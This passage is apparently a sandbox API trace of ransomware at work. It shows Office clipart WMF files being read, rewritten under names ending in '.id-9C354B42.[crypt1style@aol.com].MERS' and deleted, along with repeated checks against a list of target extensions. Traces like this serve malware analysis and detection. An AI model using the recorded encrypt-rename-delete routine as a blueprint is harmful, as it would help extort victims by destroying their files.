lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3016) returned 1 [0272.462] CloseHandle (hObject=0x388) returned 1 [0272.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0272.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.463] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.463] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.463] GetLastError () returned 0x0 [0272.463] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0272.504] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0272.505] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.505] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.505] SetEndOfFile (hFile=0x3c4) returned 1 [0272.505] CloseHandle (hObject=0x3c4) returned 1 [0272.505] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.505] SetEndOfFile (hFile=0x388) returned 1 [0272.510] CloseHandle (hObject=0x388) returned 1 [0272.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0272.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.511] lstrlenW (lpString=".doc") returned 4 [0272.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.511] lstrlenW (lpString=".docx") returned 5 [0272.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.511] lstrlenW (lpString=".pdf") returned 4 [0272.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.511] lstrlenW (lpString=".xls") returned 4 [0272.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.511] lstrlenW (lpString=".xlsx") returned 5 [0272.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.511] lstrlenW (lpString=".ppt") returned 4 [0272.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.511] lstrlenW (lpString=".zip") returned 4 [0272.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.511] lstrlenW (lpString=".rar") returned 4 [0272.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.511] lstrlenW (lpString=".bz2") returned 4 [0272.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.511] lstrlenW (lpString=".7z") returned 3 [0272.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.512] lstrlenW (lpString=".dbf") returned 4 [0272.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.512] lstrlenW (lpString=".1cd") returned 4 [0272.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.512] lstrlenW (lpString=".jpg") returned 4 [0272.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.512] lstrlenW (lpString=".doc") returned 4 [0272.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString=".docx") returned 5 [0272.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.512] lstrlenW (lpString=".pdf") returned 4 [0272.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString=".xls") returned 4 [0272.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.512] lstrlenW (lpString=".xlsx") returned 5 [0272.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.512] lstrlenW (lpString=".ppt") returned 4 [0272.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.512] lstrlenW (lpString=".zip") returned 4 [0272.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.512] lstrlenW (lpString=".rar") returned 4 [0272.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString=".bz2") returned 4 [0272.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.512] lstrlenW (lpString=".7z") returned 3 [0272.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.512] lstrlenW (lpString=".dbf") returned 4 [0272.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.513] lstrlenW (lpString=".1cd") returned 4 [0272.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0272.513] lstrlenW (lpString=".jpg") returned 4 [0272.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.513] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.513] lstrlenW (lpString="BL00296_.WMF") returned 12 [0272.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.513] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=812) returned 1 [0272.513] CloseHandle (hObject=0x388) returned 1 [0272.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0272.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.514] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.514] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.515] GetLastError () returned 0x0 [0272.515] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x32c, lpOverlapped=0x0) returned 1 [0272.645] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x330, lpOverlapped=0x0) returned 1 [0272.646] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.646] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.646] SetEndOfFile (hFile=0x3c4) returned 1 [0272.646] CloseHandle (hObject=0x3c4) returned 1 [0272.646] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.646] SetEndOfFile (hFile=0x388) returned 1 [0272.648] CloseHandle (hObject=0x388) returned 1 [0272.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0272.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.648] lstrlenW (lpString=".doc") returned 4 [0272.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.648] lstrlenW (lpString=".docx") returned 5 [0272.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.648] lstrlenW (lpString=".pdf") returned 4 [0272.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.648] lstrlenW (lpString=".xls") returned 4 [0272.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.649] lstrlenW (lpString=".xlsx") returned 5 [0272.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.649] lstrlenW (lpString=".ppt") returned 4 [0272.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.649] lstrlenW (lpString=".zip") returned 4 [0272.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.649] lstrlenW (lpString=".rar") returned 4 [0272.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.649] lstrlenW (lpString=".bz2") returned 4 [0272.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.649] lstrlenW (lpString=".7z") returned 3 [0272.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.649] lstrlenW (lpString=".dbf") returned 4 [0272.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.649] lstrlenW (lpString=".1cd") returned 4 [0272.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.649] lstrlenW (lpString=".jpg") returned 4 [0272.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.649] lstrlenW (lpString=".doc") returned 4 [0272.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.649] lstrlenW (lpString=".docx") returned 5 [0272.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.649] lstrlenW (lpString=".pdf") returned 4 [0272.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.650] lstrlenW (lpString=".xls") returned 4 [0272.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.650] lstrlenW (lpString=".xlsx") returned 5 [0272.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.650] lstrlenW (lpString=".ppt") returned 4 [0272.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.650] lstrlenW (lpString=".zip") returned 4 [0272.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.650] lstrlenW (lpString=".rar") returned 4 [0272.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.650] lstrlenW (lpString=".bz2") returned 4 [0272.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.650] lstrlenW (lpString=".7z") returned 3 [0272.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.650] lstrlenW (lpString=".dbf") returned 4 [0272.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.650] lstrlenW (lpString=".1cd") returned 4 [0272.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0272.650] lstrlenW (lpString=".jpg") returned 4 [0272.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.650] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.650] lstrlenW (lpString="BL00648_.WMF") returned 12 [0272.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.651] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=11500) returned 1 [0272.651] CloseHandle (hObject=0x388) returned 1 [0272.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0272.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.651] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.651] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.651] GetLastError () returned 0x0 [0272.651] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x2cec, lpOverlapped=0x0) returned 1 [0272.654] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0272.655] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.655] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.655] SetEndOfFile (hFile=0x3c4) returned 1 [0272.655] CloseHandle (hObject=0x3c4) returned 1 [0272.655] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.655] SetEndOfFile (hFile=0x388) returned 1 [0272.657] CloseHandle (hObject=0x388) returned 1 [0272.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0272.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.657] lstrlenW (lpString=".doc") returned 4 [0272.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.657] lstrlenW (lpString=".docx") returned 5 [0272.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.657] lstrlenW (lpString=".pdf") returned 4 [0272.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString=".xls") returned 4 [0272.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.658] lstrlenW (lpString=".xlsx") returned 5 [0272.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.658] lstrlenW (lpString=".ppt") returned 4 [0272.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.658] lstrlenW (lpString=".zip") returned 4 [0272.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.658] lstrlenW (lpString=".rar") returned 4 [0272.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString=".bz2") returned 4 [0272.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString=".7z") returned 3 [0272.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.658] lstrlenW (lpString=".dbf") returned 4 [0272.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.658] lstrlenW (lpString=".1cd") returned 4 [0272.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.658] lstrlenW (lpString=".jpg") returned 4 [0272.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.658] lstrlenW (lpString=".doc") returned 4 [0272.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString=".docx") returned 5 [0272.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.658] lstrlenW (lpString=".pdf") returned 4 [0272.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.658] lstrlenW (lpString=".xls") returned 4 [0272.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.659] lstrlenW (lpString=".xlsx") returned 5 [0272.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.659] lstrlenW (lpString=".ppt") returned 4 [0272.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.659] lstrlenW (lpString=".zip") returned 4 [0272.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.659] lstrlenW (lpString=".rar") returned 4 [0272.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.659] lstrlenW (lpString=".bz2") returned 4 [0272.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.659] lstrlenW (lpString=".7z") returned 3 [0272.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.659] lstrlenW (lpString=".dbf") returned 4 [0272.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.659] lstrlenW (lpString=".1cd") returned 4 [0272.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0272.659] lstrlenW (lpString=".jpg") returned 4 [0272.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.659] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.659] lstrlenW (lpString="BL00921_.WMF") returned 12 [0272.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.786] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=4408) returned 1 [0272.787] CloseHandle (hObject=0x388) returned 1 [0272.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0272.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft 